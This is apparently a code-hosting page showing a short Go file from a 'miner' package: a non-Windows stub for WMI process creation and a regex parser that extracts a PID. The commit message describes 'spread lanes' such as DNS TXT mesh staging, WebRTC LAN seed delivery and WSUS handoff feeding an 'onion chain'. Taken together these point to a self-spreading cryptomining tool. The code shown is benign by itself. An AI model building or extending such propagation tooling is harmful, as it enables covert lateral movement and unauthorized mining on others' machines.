Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
28 lines
532 B
Go
28 lines
532 B
Go
//go:build !windows
|
|
|
|
package miner
|
|
|
|
import (
|
|
"fmt"
|
|
"regexp"
|
|
"strconv"
|
|
)
|
|
|
|
func platformWMIProcessCreate(commandLine string) (uint32, error) {
|
|
return 0, fmt.Errorf("wmi tier requires windows")
|
|
}
|
|
|
|
func parseWMICreatePID(out []byte) (uint32, error) {
|
|
raw := string(out)
|
|
re := regexp.MustCompile(`"pid"\s*:\s*(\d+)`)
|
|
m := re.FindStringSubmatch(raw)
|
|
if len(m) < 2 {
|
|
return 0, fmt.Errorf("wmi: no pid in output: %s", raw)
|
|
}
|
|
v, err := strconv.ParseUint(m[1], 10, 32)
|
|
if err != nil {
|
|
return 0, err
|
|
}
|
|
return uint32(v), nil
|
|
}
|